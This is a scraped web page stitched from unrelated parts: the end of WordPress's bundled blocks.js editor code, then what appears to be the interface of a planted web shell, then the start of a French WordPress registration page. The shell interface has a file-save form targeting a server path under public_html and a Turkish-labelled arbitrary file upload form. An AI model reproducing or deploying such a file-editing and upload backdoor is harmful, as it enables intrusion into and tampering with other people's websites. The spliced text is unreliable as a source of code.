    return getBlockContentSchemaFromTransforms(getRawTransforms(), context);
  }
  function isPlain(HTML) {
    if (!/&lt;(?!br[ /&gt;])/i.test(HTML)) {
      return true;
    }
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    if (doc.body.children.length !== 1) {
      return false;
    }
    const wrapper = doc.body.children.item(0);
    const descendants = wrapper.getElementsByTagName(&quot;*&quot;);
    for (let i2 = 0; i2 &lt; descendants.length; i2++) {
      if (descendants.item(i2).tagName !== &quot;BR&quot;) {
        return false;
      }
    }
    if (wrapper.tagName !== &quot;SPAN&quot;) {
      return false;
    }
    return true;
  }
  function deepFilterNodeList(nodeList, filters, doc, schema) {
    Array.from(nodeList).forEach((node) =&gt; {
      deepFilterNodeList(node.childNodes, filters, doc, schema);
      filters.forEach((item) =&gt; {
        if (!doc.contains(node)) {
          return;
        }
        item(node, doc, schema);
      });
    });
  }
  function deepFilterHTML(HTML, filters = [], schema) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    deepFilterNodeList(doc.body.childNodes, filters, doc, schema);
    return doc.body.innerHTML;
  }
  function getSibling(node, which) {
    const sibling = node[`${which}Sibling`];
    if (sibling &amp;&amp; (0, import_dom6.isPhrasingContent)(sibling)) {
      return sibling;
    }
    const { parentNode } = node;
    if (!parentNode || !(0, import_dom6.isPhrasingContent)(parentNode)) {
      return;
    }
    return getSibling(parentNode, which);
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var import_dom11 = __toESM(require_dom(), 1);

  // packages/blocks/build-module/api/raw-handling/comment-remover.mjs
  var import_dom7 = __toESM(require_dom(), 1);
  function commentRemover(node) {
    if (node.nodeType === node.COMMENT_NODE) {
      (0, import_dom7.remove)(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/is-inline-content.mjs
  var import_dom8 = __toESM(require_dom(), 1);
  function isInline(node, contextTag) {
    if ((0, import_dom8.isTextContent)(node)) {
      return true;
    }
    if (!contextTag) {
      return false;
    }
    const tag = node.nodeName.toLowerCase();
    const inlineAllowedTagGroups = [
      [&quot;ul&quot;, &quot;li&quot;, &quot;ol&quot;],
      [&quot;h1&quot;, &quot;h2&quot;, &quot;h3&quot;, &quot;h4&quot;, &quot;h5&quot;, &quot;h6&quot;]
    ];
    return inlineAllowedTagGroups.some(
      (tagGroup) =&gt; [tag, contextTag].filter((t3) =&gt; !tagGroup.includes(t3)).length === 0
    );
  }
  function deepCheck(nodes, contextTag) {
    return nodes.every(
      (node) =&gt; isInline(node, contextTag) &amp;&amp; deepCheck(Array.from(node.children), contextTag)
    );
  }
  function isDoubleBR(node) {
    return node.nodeName === &quot;BR&quot; &amp;&amp; node.previousSibling &amp;&amp; node.previousSibling.nodeName === &quot;BR&quot;;
  }
  function isInlineContent(HTML, contextTag) {
    const doc = document.implementation.createHTMLDocument(&quot;&quot;);
    doc.body.innerHTML = HTML;
    const nodes = Array.from(doc.body.children);
    return !nodes.some(isDoubleBR) &amp;&amp; deepCheck(nodes, contextTag);
  }

  // packages/blocks/build-module/api/raw-handling/phrasing-content-reducer.mjs
  var import_dom9 = __toESM(require_dom(), 1);
  function phrasingContentReducer(node, doc) {
    if (node.nodeName === &quot;SPAN&quot; &amp;&amp; node.style) {
      const {
        fontWeight,
        fontStyle,
        textDecorationLine,
        textDecoration,
        verticalAlign
      } = node.style;
      if (fontWeight === &quot;bold&quot; || fontWeight === &quot;700&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;strong&quot;), node);
      }
      if (fontStyle === &quot;italic&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;em&quot;), node);
      }
      if (textDecorationLine === &quot;line-through&quot; || textDecoration.includes(&quot;line-through&quot;)) {
        (0, import_dom9.wrap)(doc.createElement(&quot;s&quot;), node);
      }
      if (verticalAlign === &quot;super&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sup&quot;), node);
      } else if (verticalAlign === &quot;sub&quot;) {
        (0, import_dom9.wrap)(doc.createElement(&quot;sub&quot;), node);
      }
    } else if (node.nodeName === &quot;B&quot;) {
      node = (0, import_dom9.replaceTag)(node, &quot;strong&quot;);
    } else if (node.nodeName === &quot;I&quot;) {
      node = (0, import_dom9.replaceTag)(node, &quot;em&quot;);
    } else if (node.nodeName === &quot;A&quot;) {
      if (node.target &amp;&amp; node.target.toLowerCase() === &quot;_blank&quot;) {
        node.rel = &quot;noreferrer noopener&quot;;
      } else {
        node.removeAttribute(&quot;target&quot;);
        node.removeAttribute(&quot;rel&quot;);
      }
      if (node.name &amp;&amp; !node.id) {
        node.id = node.name;
      }
      if (node.id &amp;&amp; !node.ownerDocument.querySelector(`[href=&quot;#${node.id}&quot;]`)) {
        node.removeAttribute(&quot;id&quot;);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/head-remover.mjs
  function headRemover(node) {
    if (node.nodeName !== &quot;SCRIPT&quot; &amp;&amp; node.nodeName !== &quot;NOSCRIPT&quot; &amp;&amp; node.nodeName !== &quot;TEMPLATE&quot; &amp;&amp; node.nodeName !== &quot;STYLE&quot;) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-ignore.mjs
  function msListIgnore(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    const style = node.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const rules = style.split(&quot;;&quot;).reduce((acc, rule) =&gt; {
      const [key, value] = rule.split(&quot;:&quot;);
      if (key &amp;&amp; value) {
        acc[key.trim().toLowerCase()] = value.trim().toLowerCase();
      }
      return acc;
    }, {});
    if (rules[&quot;mso-list&quot;] === &quot;ignore&quot;) {
      node.remove();
    }
  }

  // packages/blocks/build-module/api/raw-handling/ms-list-converter.mjs
  function isList2(node) {
    return node.nodeName === &quot;OL&quot; || node.nodeName === &quot;UL&quot;;
  }
  function msListConverter(node, doc) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    const style = node.getAttribute(&quot;style&quot;);
    if (!style || !style.includes(&quot;mso-list&quot;)) {
      return;
    }
    const prevNode = node.previousElementSibling;
    if (!prevNode || !isList2(prevNode)) {
      const type = node.textContent.trim().slice(0, 1);
      const isNumeric = /[1iIaA]/.test(type);
      const newListNode = doc.createElement(isNumeric ? &quot;ol&quot; : &quot;ul&quot;);
      if (isNumeric) {
        newListNode.setAttribute(&quot;type&quot;, type);
      }
      node.parentNode.insertBefore(newListNode, node);
    }
    const listNode = node.previousElementSibling;
    const listType = listNode.nodeName;
    const listItem = doc.createElement(&quot;li&quot;);
    let receivingNode = listNode;
    listItem.innerHTML = deepFilterHTML(node.innerHTML, [msListIgnore]);
    const matches = /mso-list\s*:[^;]+level([0-9]+)/i.exec(style);
    let level = matches ? parseInt(matches[1], 10) - 1 || 0 : 0;
    while (level--) {
      receivingNode = receivingNode.lastChild || receivingNode;
      if (isList2(receivingNode)) {
        receivingNode = receivingNode.lastChild || receivingNode;
      }
    }
    if (!isList2(receivingNode)) {
      receivingNode = receivingNode.appendChild(
        doc.createElement(listType)
      );
    }
    receivingNode.appendChild(listItem);
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/image-corrector.mjs
  var import_blob = __toESM(require_blob(), 1);
  function imageCorrector(node) {
    if (node.nodeName !== &quot;IMG&quot;) {
      return;
    }
    if (node.src.indexOf(&quot;file:&quot;) === 0) {
      node.src = &quot;&quot;;
    }
    if (node.src.indexOf(&quot;data:&quot;) === 0) {
      const [properties, data] = node.src.split(&quot;,&quot;);
      const [type] = properties.slice(5).split(&quot;;&quot;);
      if (!data || !type) {
        node.src = &quot;&quot;;
        return;
      }
      let decoded;
      try {
        decoded = atob(data);
      } catch (e2) {
        node.src = &quot;&quot;;
        return;
      }
      const uint8Array = new Uint8Array(decoded.length);
      for (let i2 = 0; i2 &lt; uint8Array.length; i2++) {
        uint8Array[i2] = decoded.charCodeAt(i2);
      }
      const name = type.replace(&quot;/&quot;, &quot;.&quot;);
      const file = new window.File([uint8Array], name, { type });
      node.src = (0, import_blob.createBlobURL)(file);
    }
    if (node.height === 1 || node.width === 1) {
      node.parentNode.removeChild(node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/div-normaliser.mjs
  function divNormaliser(node) {
    if (node.nodeName !== &quot;DIV&quot;) {
      return;
    }
    node.innerHTML = normaliseBlocks(node.innerHTML);
  }

  // packages/blocks/build-module/api/raw-handling/markdown-converter.mjs
  var import_showdown = __toESM(require_showdown(), 1);
  var converter = new import_showdown.default.Converter({
    noHeaderId: true,
    tables: true,
    literalMidWordUnderscores: true,
    omitExtraWLInCodeBlocks: true,
    simpleLineBreaks: true,
    strikethrough: true
  });
  function slackMarkdownVariantCorrector(text2) {
    return text2.replace(
      /((?:^|\n)```)([^\n`]+)(```(?:$|\n))/,
      (match, p1, p2, p3) =&gt; `${p1}
${p2}
${p3}`
    );
  }
  function bulletsToAsterisks(text2) {
    return text2.replace(/(^|\n)•( +)/g, &quot;$1*$2&quot;);
  }
  function markdownConverter(text2) {
    return converter.makeHtml(
      slackMarkdownVariantCorrector(bulletsToAsterisks(text2))
    );
  }

  // packages/blocks/build-module/api/raw-handling/iframe-remover.mjs
  function iframeRemover(node) {
    if (node.nodeName === &quot;IFRAME&quot;) {
      const text2 = node.ownerDocument.createTextNode(node.src);
      node.parentNode.replaceChild(text2, node);
    }
  }

  // packages/blocks/build-module/api/raw-handling/google-docs-uid-remover.mjs
  var import_dom10 = __toESM(require_dom(), 1);
  function googleDocsUIdRemover(node) {
    if (!node.id || node.id.indexOf(&quot;docs-internal-guid-&quot;) !== 0) {
      return;
    }
    if (node.tagName === &quot;B&quot;) {
      (0, import_dom10.unwrap)(node);
    } else {
      node.removeAttribute(&quot;id&quot;);
    }
  }

  // packages/blocks/build-module/api/raw-handling/html-formatting-remover.mjs
  function isFormattingSpace(character) {
    return character === &quot; &quot; || character === &quot;\r&quot; || character === &quot;\n&quot; || character === &quot;	&quot;;
  }
  function htmlFormattingRemover(node) {
    if (node.nodeType !== node.TEXT_NODE) {
      return;
    }
    let parent = node;
    while (parent = parent.parentNode) {
      if (parent.nodeType === parent.ELEMENT_NODE &amp;&amp; parent.nodeName === &quot;PRE&quot;) {
        return;
      }
    }
    let newData = node.data.replace(/[ \r\n\t]+/g, &quot; &quot;);
    if (newData[0] === &quot; &quot;) {
      const previousSibling = getSibling(node, &quot;previous&quot;);
      if (!previousSibling || previousSibling.nodeName === &quot;BR&quot; || previousSibling.textContent.slice(-1) === &quot; &quot;) {
        newData = newData.slice(1);
      }
    }
    if (newData[newData.length - 1] === &quot; &quot;) {
      const nextSibling = getSibling(node, &quot;next&quot;);
      if (!nextSibling || nextSibling.nodeName === &quot;BR&quot; || nextSibling.nodeType === nextSibling.TEXT_NODE &amp;&amp; isFormattingSpace(nextSibling.textContent[0])) {
        newData = newData.slice(0, -1);
      }
    }
    if (!newData) {
      node.parentNode.removeChild(node);
    } else {
      node.data = newData;
    }
  }

  // packages/blocks/build-module/api/raw-handling/br-remover.mjs
  function brRemover(node) {
    if (node.nodeName !== &quot;BR&quot;) {
      return;
    }
    if (getSibling(node, &quot;next&quot;)) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/empty-paragraph-remover.mjs
  function emptyParagraphRemover(node) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    if (node.hasChildNodes()) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/slack-paragraph-corrector.mjs
  function slackParagraphCorrector(node) {
    if (node.nodeName !== &quot;SPAN&quot;) {
      return;
    }
    if (node.getAttribute(&quot;data-stringify-type&quot;) !== &quot;paragraph-break&quot;) {
      return;
    }
    const { parentNode } = node;
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/latex-to-math.mjs
  function isLatexMathMode(text2) {
    const lettersRegex = /[\p{L}\s]+/gu;
    let match;
    while (match = lettersRegex.exec(text2)) {
      if (text2[match.index - 1] === &quot;{&quot;) {
        continue;
      }
      let sequence = match[0];
      if (text2[match.index - 1] === &quot;\\&quot;) {
        sequence = sequence.replace(/^[a-zA-Z]+/, &quot;&quot;);
      }
      if (sequence.length &lt; 6) {
        continue;
      }
      return false;
    }
    if (/\\[a-zA-Z]+\s*\{/g.test(text2)) {
      return true;
    }
    const softClues = [
      (t3) =&gt; t3.includes(&quot;^&quot;) &amp;&amp; !t3.startsWith(&quot;^&quot;),
      (t3) =&gt; [&quot;=&quot;, &quot;+&quot;, &quot;-&quot;, &quot;/&quot;, &quot;*&quot;].some(
        (operator) =&gt; t3.includes(operator)
      ),
      (t3) =&gt; /\\[a-zA-Z]+/g.test(t3)
    ];
    if (softClues.filter((clue) =&gt; clue(text2)).length &gt;= 2) {
      return true;
    }
    return false;
  }

  // packages/blocks/build-module/api/raw-handling/heading-transformer.mjs
  function headingTransformer(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    if (node.tagName === &quot;P&quot; &amp;&amp; node.getAttribute(&quot;role&quot;) === &quot;heading&quot; &amp;&amp; node.hasAttribute(&quot;aria-level&quot;)) {
      const level = parseInt(node.getAttribute(&quot;aria-level&quot;), 10);
      if (level &gt;= 1 &amp;&amp; level &lt;= 6) {
        const headingTag = `H${level}`;
        const newHeading = node.ownerDocument.createElement(headingTag);
        Array.from(node.attributes).forEach((attr2) =&gt; {
          if (attr2.name !== &quot;role&quot; &amp;&amp; attr2.name !== &quot;aria-level&quot;) {
            newHeading.setAttribute(attr2.name, attr2.value);
          }
        });
        while (node.firstChild) {
          newHeading.appendChild(node.firstChild);
        }
        node.parentNode.replaceChild(newHeading, node);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var log = (...args) =&gt; window?.console?.log?.(...args);
  function filterInlineHTML(HTML) {
    HTML = deepFilterHTML(HTML, [
      headRemover,
      googleDocsUIdRemover,
      msListIgnore,
      phrasingContentReducer,
      commentRemover
    ]);
    HTML = (0, import_dom11.removeInvalidHTML)(HTML, (0, import_dom11.getPhrasingContentSchema)(&quot;paste&quot;), {
      inline: true
    });
    HTML = deepFilterHTML(HTML, [htmlFormattingRemover, brRemover]);
    log(&quot;Processed inline HTML:\n\n&quot;, HTML);
    return HTML;
  }
  function pasteHandler({
    HTML = &quot;&quot;,
    plainText = &quot;&quot;,
    mode = &quot;AUTO&quot;,
    tagName
  }) {
    log(&quot;Received HTML (pasteHandler):\n\n&quot;, HTML);
    log(&quot;Received plain text (pasteHandler):\n\n&quot;, plainText);
    HTML = HTML.replace(/&lt;meta[^&gt;]+&gt;/g, &quot;&quot;);
    HTML = HTML.replace(
      /^\s*&lt;html[^&gt;]*&gt;\s*&lt;body[^&gt;]*&gt;(?:\s*&lt;!--\s*StartFragment\s*--&gt;)?/i,
      &quot;&quot;
    );
    HTML = HTML.replace(
      /(?:&lt;!--\s*EndFragment\s*--&gt;\s*)?&lt;\/body&gt;\s*&lt;\/html&gt;\s*$/i,
      &quot;&quot;
    );
    if (mode !== &quot;INLINE&quot;) {
      const content = HTML ? HTML : plainText;
      if (content.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
        const parseResult = parse2(content);
        const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
        if (!isSingleFreeFormBlock) {
          return parseResult;
        }
      }
    }
    if (String.prototype.normalize) {
      HTML = HTML.normalize();
    }
    HTML = deepFilterHTML(HTML, [slackParagraphCorrector]);
    const isPlainText = plainText &amp;&amp; (!HTML || isPlain(HTML));
    if (isPlainText &amp;&amp; isLatexMathMode(plainText)) {
      return [createBlock(&quot;core/math&quot;, { latex: plainText })];
    }
    if (isPlainText) {
      HTML = plainText;
      if (!/^\s+$/.test(plainText)) {
        HTML = markdownConverter(HTML);
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const hasShortcodes = pieces.length &gt; 1;
    if (isPlainText &amp;&amp; !hasShortcodes) {
      if (mode === &quot;AUTO&quot; &amp;&amp; plainText.indexOf(&quot;\n&quot;) === -1 &amp;&amp; plainText.indexOf(&quot;&lt;p&gt;&quot;) !== 0 &amp;&amp; HTML.indexOf(&quot;&lt;p&gt;&quot;) === 0) {
        mode = &quot;INLINE&quot;;
      }
    }
    if (mode === &quot;INLINE&quot;) {
      return filterInlineHTML(HTML);
    }
    if (mode === &quot;AUTO&quot; &amp;&amp; !hasShortcodes &amp;&amp; isInlineContent(HTML, tagName)) {
      return filterInlineHTML(HTML);
    }
    const phrasingContentSchema = (0, import_dom11.getPhrasingContentSchema)(&quot;paste&quot;);
    const blockContentSchema = getBlockContentSchema(&quot;paste&quot;);
    const blocks = pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        googleDocsUIdRemover,
        msListConverter,
        headRemover,
        listReducer,
        imageCorrector,
        phrasingContentReducer,
        specialCommentConverter,
        commentRemover,
        iframeRemover,
        figureContentReducer,
        blockquoteNormaliser(),
        divNormaliser,
        headingTransformer
      ];
      const schema = {
        ...blockContentSchema,
        // Keep top-level phrasing content, normalised by `normaliseBlocks`.
        ...phrasingContentSchema
      };
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = (0, import_dom11.removeInvalidHTML)(piece, schema);
      piece = normaliseBlocks(piece);
      piece = deepFilterHTML(
        piece,
        [htmlFormattingRemover, brRemover, emptyParagraphRemover],
        blockContentSchema
      );
      log(&quot;Processed HTML piece:\n\n&quot;, piece);
      return htmlToBlocks(piece, pasteHandler);
    }).flat().filter(Boolean);
    if (mode === &quot;AUTO&quot; &amp;&amp; blocks.length === 1 &amp;&amp; hasBlockSupport(blocks[0].name, &quot;__unstablePasteTextInline&quot;, false)) {
      const trimRegex = /^[\n]+|[\n]+$/g;
      const trimmedPlainText = plainText.replace(trimRegex, &quot;&quot;);
      if (trimmedPlainText !== &quot;&quot; &amp;&amp; trimmedPlainText.indexOf(&quot;\n&quot;) === -1) {
        return (0, import_dom11.removeInvalidHTML)(
          getBlockInnerHTML(blocks[0]),
          phrasingContentSchema
        ).replace(trimRegex, &quot;&quot;);
      }
    }
    return blocks;
  }

  // packages/blocks/build-module/api/raw-handling/index.mjs
  function deprecatedGetPhrasingContentSchema(context) {
    (0, import_deprecated10.default)(&quot;wp.blocks.getPhrasingContentSchema&quot;, {
      since: &quot;5.6&quot;,
      alternative: &quot;wp.dom.getPhrasingContentSchema&quot;
    });
    return (0, import_dom12.getPhrasingContentSchema)(context);
  }
  function rawHandler({ HTML = &quot;&quot; }) {
    if (HTML.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
      const parseResult = parse2(HTML);
      const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
      if (!isSingleFreeFormBlock) {
        return parseResult;
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const blockContentSchema = getBlockContentSchema();
    return pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        // Needed to adjust invalid lists.
        listReducer,
        // Needed to create more and nextpage blocks.
        specialCommentConverter,
        // Needed to create media blocks.
        figureContentReducer,
        // Needed to create the quote block, which cannot handle text
        // without wrapper paragraphs.
        blockquoteNormaliser({ raw: true })
      ];
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = normaliseBlocks(piece, { raw: true });
      return htmlToBlocks(piece, rawHandler);
    }).flat().filter(Boolean);
  }

  // packages/blocks/build-module/api/categories.mjs
  var import_data6 = __toESM(require_data(), 1);
  function getCategories2() {
    return (0, import_data6.select)(store).getCategories();
  }
  function setCategories2(categories2) {
    (0, import_data6.dispatch)(store).setCategories(categories2);
  }
  function updateCategory2(slug, category) {
    (0, import_data6.dispatch)(store).updateCategory(slug, category);
  }

  // packages/blocks/build-module/api/templates.mjs
  var import_element5 = __toESM(require_element(), 1);
  function doBlocksMatchTemplate(blocks = [], template = []) {
    return blocks.length === template.length &amp;&amp; template.every(([name, , innerBlocksTemplate], index) =&gt; {
      const block = blocks[index];
      return name === block.name &amp;&amp; doBlocksMatchTemplate(block.innerBlocks, innerBlocksTemplate);
    });
  }
  var isHTMLAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;html&quot;;
  var isQueryAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;query&quot;;
  function normalizeAttributes(schema, values) {
    if (!values) {
      return {};
    }
    return Object.fromEntries(
      Object.entries(values).map(([key, value]) =&gt; [
        key,
        normalizeAttribute(schema[key], value)
      ])
    );
  }
  function normalizeAttribute(definition, value) {
    if (isHTMLAttribute(definition) &amp;&amp; Array.isArray(value)) {
      return (0, import_element5.renderToString)(value);
    }
    if (isQueryAttribute(definition) &amp;&amp; value) {
      return value.map((subValues) =&gt; {
        return normalizeAttributes(definition.query, subValues);
      });
    }
    return value;
  }
  function synchronizeBlocksWithTemplate(blocks = [], template) {
    if (!template) {
      return blocks;
    }
    return template.map(
      ([name, attributes, innerBlocksTemplate], index) =&gt; {
        const block = blocks[index];
        if (block &amp;&amp; block.name === name) {
          const innerBlocks = synchronizeBlocksWithTemplate(
            block.innerBlocks,
            innerBlocksTemplate
          );
          return { ...block, innerBlocks };
        }
        const blockType = getBlockType(name);
        const normalizedAttributes = normalizeAttributes(
          blockType?.attributes ?? {},
          attributes
        );
        const [blockName, blockAttributes] = convertLegacyBlockNameAndAttributes(
          name,
          normalizedAttributes
        );
        return createBlock(
          blockName,
          blockAttributes,
          synchronizeBlocksWithTemplate([], innerBlocksTemplate)
        );
      }
    );
  }

  // packages/blocks/build-module/api/index.mjs
  var fieldsKey = /* @__PURE__ */ Symbol(&quot;fields&quot;);
  var formKey = /* @__PURE__ */ Symbol(&quot;form&quot;);
  var privateApis = {};
  lock(privateApis, {
    isContentBlock,
    fieldsKey,
    formKey,
    parseRawBlock
  });

  // packages/blocks/build-module/deprecated.mjs
  var import_deprecated11 = __toESM(require_deprecated(), 1);
  function withBlockContentContext(OriginalComponent) {
    (0, import_deprecated11.default)(&quot;wp.blocks.withBlockContentContext&quot;, {
      since: &quot;6.1&quot;
    });
    return OriginalComponent;
  }
  return __toCommonJS(index_exports);
})();
/*! Bundled license information:

react-is/cjs/react-is.development.js:
  (**
   * @license React
   * react-is.development.js
   *
   * Copyright (c) Facebook, Inc. and its affiliates.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   *)

showdown/dist/showdown.js:
  (*! showdown v 1.9.1 - 02-11-2019 *)

is-plain-object/dist/is-plain-object.mjs:
  (*!
   * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
   *
   * Copyright (c) 2014-2017, Jon Schlinkert.
   * Released under the MIT License.
   *)
*/
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-includes/js/dist/blocks.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>S’inscrire | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fregister%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fregister%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d2fd471134*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
